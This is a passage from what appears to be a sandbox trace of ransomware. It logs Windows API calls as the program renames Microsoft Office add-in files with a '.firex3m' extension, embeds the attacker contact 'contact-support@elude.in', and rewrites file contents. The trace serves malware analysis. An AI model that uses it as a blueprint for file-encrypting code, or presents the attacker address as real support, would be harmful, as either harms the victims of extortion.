out: lpBuffer=0x6ed2090*, lpNumberOfBytesWritten=0x497ff0c*=0x10c0, lpOverlapped=0x0) returned 1 [0160.375] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.375] WriteFile (in: hFile=0x414, lpBuffer=0x6ed314f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ed314f*, lpNumberOfBytesWritten=0x497ff0c*=0x20, lpOverlapped=0x0) returned 1 [0160.375] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.375] WriteFile (in: hFile=0x414, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x497ff0c*=0x4, lpOverlapped=0x0) returned 1 [0160.375] CloseHandle (hObject=0x414) returned 1 [0160.375] GetProcessHeap () returned 0x630000 [0160.375] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ed2090 | out: hHeap=0x630000) returned 1 [0160.375] GetProcessHeap () returned 0x630000 [0160.375] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x714508 | out: hHeap=0x630000) returned 1 [0160.375] GetProcessHeap () returned 0x630000 [0160.375] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71768e0 | out: hHeap=0x630000) returned 1 [0160.603] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0160.604] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fcc4 | out: lpFindFileData=0x497fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16710914, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x258ac56b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1102, dwReserved0=0xbb87496, dwReserved1=0x714500, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5480 [0160.604] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0160.604] Sleep (dwMilliseconds=0x1) [0160.610] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\LocalizedStrings.xml", len=0x66 | out: pbstr=0x497ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\LocalizedStrings.xml") returned 1 [0160.610] GetProcessHeap () returned 0x630000 [0160.610] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bfc) returned 0x707d3d0 [0160.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\en\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0160.611] CloseHandle (hObject=0x414) returned 1 [0160.611] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0160.611] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\en\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\en\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0160.612] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0160.612] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fc6c | out: lpFindFileData=0x497fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10a6, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5000 [0160.612] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0160.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\en\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0160.612] GetProcessHeap () returned 0x630000 [0160.612] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10c1) returned 0x6feb278 [0160.613] GetProcessHeap () returned 0x630000 [0160.613] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10c1) returned 0x6fb7418 [0160.613] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.613] ReadFile (in: hFile=0x414, lpBuffer=0x6feb278, nNumberOfBytesToRead=0x10a0, lpNumberOfBytesRead=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6feb278*, lpNumberOfBytesRead=0x497ff0c*=0x10a0, lpOverlapped=0x0) returned 1 [0160.674] GetProcessHeap () returned 0x630000 [0160.674] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176b10 [0160.674] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.674] WriteFile (in: hFile=0x414, lpBuffer=0x6fb7418*, nNumberOfBytesToWrite=0x10a0, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fb7418*, lpNumberOfBytesWritten=0x497ff0c*=0x10a0, lpOverlapped=0x0) returned 1 [0160.674] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.675] WriteFile (in: hFile=0x414, lpBuffer=0x6fb84b7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fb84b7*, lpNumberOfBytesWritten=0x497ff0c*=0x20, lpOverlapped=0x0) returned 1 [0160.675] SetFilePointerEx (in: hFile=0x414, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.675] WriteFile (in: hFile=0x414, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x497ff0c*=0x4, lpOverlapped=0x0) returned 1 [0160.675] CloseHandle (hObject=0x414) returned 1 [0160.675] GetProcessHeap () returned 0x630000 [0160.675] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fb7418 | out: hHeap=0x630000) returned 1 [0160.675] GetProcessHeap () returned 0x630000 [0160.675] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feb278 | out: hHeap=0x630000) returned 1 [0160.675] GetProcessHeap () returned 0x630000 [0160.675] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176b10 | out: hHeap=0x630000) returned 1 [0160.675] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0160.675] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fcc4 | out: lpFindFileData=0x497fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x25b813bd, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x10ca, dwReserved0=0xbb87496, dwReserved1=0x6feb270, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5000 [0160.675] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0160.675] Sleep (dwMilliseconds=0x1) [0160.829] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql70.xsl", len=0x63 | out: pbstr=0x497ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql70.xsl") returned 1 [0160.829] GetProcessHeap () returned 0x630000 [0160.829] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bdc) returned 0x707d3d0 [0160.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sql70.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0160.830] CloseHandle (hObject=0x700) returned 1 [0160.830] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0160.830] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql70.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sql70.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql70.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sql70.xsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0160.831] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0160.831] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql70.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fc6c | out: lpFindFileData=0x497fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e02, dwReserved0=0x700075, dwReserved1=0x6f0070, cFileName="sql70.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SQL70X~1.FIR")) returned 0x6d5340 [0160.831] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0160.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql70.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\sql70.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x700 [0160.831] GetProcessHeap () returned 0x630000 [0160.831] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7e21) returned 0x72531e0 [0160.831] GetProcessHeap () returned 0x630000 [0160.831] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7e21) returned 0x7045170 [0160.832] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0160.832] ReadFile (in: hFile=0x700, lpBuffer=0x72531e0, nNumberOfBytesToRead=0x7e00, lpNumberOfBytesRead=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72531e0*, lpNumberOfBytesRead=0x497ff0c*=0x7e00, lpOverlapped=0x0) returned 1 [0165.710] GetProcessHeap () returned 0x630000 [0165.710] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7175f08 [0165.710] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.710] WriteFile (in: hFile=0x700, lpBuffer=0x7045170*, nNumberOfBytesToWrite=0x7e00, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7045170*, lpNumberOfBytesWritten=0x497ff0c*=0x7e00, lpOverlapped=0x0) returned 1 [0165.710] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.710] WriteFile (in: hFile=0x700, lpBuffer=0x704cf6f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x704cf6f*, lpNumberOfBytesWritten=0x497ff0c*=0x20, lpOverlapped=0x0) returned 1 [0165.711] SetFilePointerEx (in: hFile=0x700, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.711] WriteFile (in: hFile=0x700, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x497ff0c*=0x4, lpOverlapped=0x0) returned 1 [0165.711] CloseHandle (hObject=0x700) returned 1 [0165.711] GetProcessHeap () returned 0x630000 [0165.711] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7045170 | out: hHeap=0x630000) returned 1 [0165.712] GetProcessHeap () returned 0x630000 [0165.712] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72531e0 | out: hHeap=0x630000) returned 1 [0165.712] GetProcessHeap () returned 0x630000 [0165.712] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7175f08 | out: hHeap=0x630000) returned 1 [0165.712] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0165.712] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\sql70.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fcc4 | out: lpFindFileData=0x497fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28b73fb7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x7e26, dwReserved0=0xbb87496, dwReserved1=0x72531d8, cFileName="sql70.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SQL70X~1.FIR")) returned 0x6d5280 [0165.712] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0165.712] Sleep (dwMilliseconds=0x1) [0166.479] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\tr\\PowerViewRes.tr.xap", len=0x65 | out: pbstr=0x497ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\tr\\PowerViewRes.tr.xap") returned 1 [0166.479] GetProcessHeap () returned 0x630000 [0166.479] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2ba4) returned 0x707d3d0 [0166.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\tr\\PowerViewRes.tr.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\tr\\powerviewres.tr.xap"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0166.479] CloseHandle (hObject=0x67c) returned 1 [0166.480] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0166.480] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\tr\\PowerViewRes.tr.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\tr\\powerviewres.tr.xap"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\tr\\PowerViewRes.tr.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\tr\\powerviewres.tr.xap.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0166.481] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0166.481] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\tr\\PowerViewRes.tr.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fc6c | out: lpFindFileData=0x497fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16140cde, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16140cde, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16166f59, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4f05e, dwReserved0=0x73002d, dwReserved1=0x700075, cFileName="PowerViewRes.tr.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5340 [0166.481] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0166.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\tr\\PowerViewRes.tr.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\tr\\powerviewres.tr.xap.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0166.481] GetProcessHeap () returned 0x630000 [0166.481] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6fdcf38 [0166.482] GetProcessHeap () returned 0x630000 [0166.482] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x717648 [0166.482] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.482] ReadFile (in: hFile=0x67c, lpBuffer=0x6fdcf38, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fdcf38*, lpNumberOfBytesRead=0x497ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0172.237] GetProcessHeap () returned 0x630000 [0172.237] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177718 [0172.238] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.238] WriteFile (in: hFile=0x67c, lpBuffer=0x717648*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717648*, lpNumberOfBytesWritten=0x497ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0172.238] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.239] WriteFile (in: hFile=0x67c, lpBuffer=0x722a47*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x722a47*, lpNumberOfBytesWritten=0x497ff0c*=0x20, lpOverlapped=0x0) returned 1 [0172.240] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.240] WriteFile (in: hFile=0x67c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x497ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x497ff0c*=0x4, lpOverlapped=0x0) returned 1 [0172.240] CloseHandle (hObject=0x67c) returned 1 [0172.241] GetProcessHeap () returned 0x630000 [0172.241] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717648 | out: hHeap=0x630000) returned 1 [0172.241] GetProcessHeap () returned 0x630000 [0172.241] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fdcf38 | out: hHeap=0x630000) returned 1 [0172.241] GetProcessHeap () returned 0x630000 [0172.241] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177718 | out: hHeap=0x630000) returned 1 [0172.241] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0172.241] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\tr\\PowerViewRes.tr.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fcc4 | out: lpFindFileData=0x497fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16140cde, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16140cde, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2c9c2280, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4f082, dwReserved0=0xbb87496, dwReserved1=0x6fdcf30, cFileName="PowerViewRes.tr.xap.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERV~1.FIR")) returned 0x6d5280 [0172.241] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0172.241] Sleep (dwMilliseconds=0x1) [0172.247] SysReAllocStringLen (in: pbstr=0x497ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\id\\PowerViewRes.id.xap", len=0x65 | out: pbstr=0x497ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\id\\PowerViewRes.id.xap") returned 1 [0172.247] GetProcessHeap () returned 0x630000 [0172.247] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b5c) returned 0x707d3d0 [0172.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\id\\PowerViewRes.id.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\id\\powerviewres.id.xap"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x67c [0172.248] CloseHandle (hObject=0x67c) returned 1 [0172.248] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0172.248] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\id\\PowerViewRes.id.xap" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\id\\powerviewres.id.xap"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\id\\PowerViewRes.id.xap.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\id\\powerviewres.id.xap.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0172.249] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x497ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0172.250] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\id\\PowerViewRes.id.xap.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x497fc6c | out: lpFindFileData=0x497fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1434d390, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1434d390, ftLastAccessTime.dwHighDateTime=0x1d327e8, 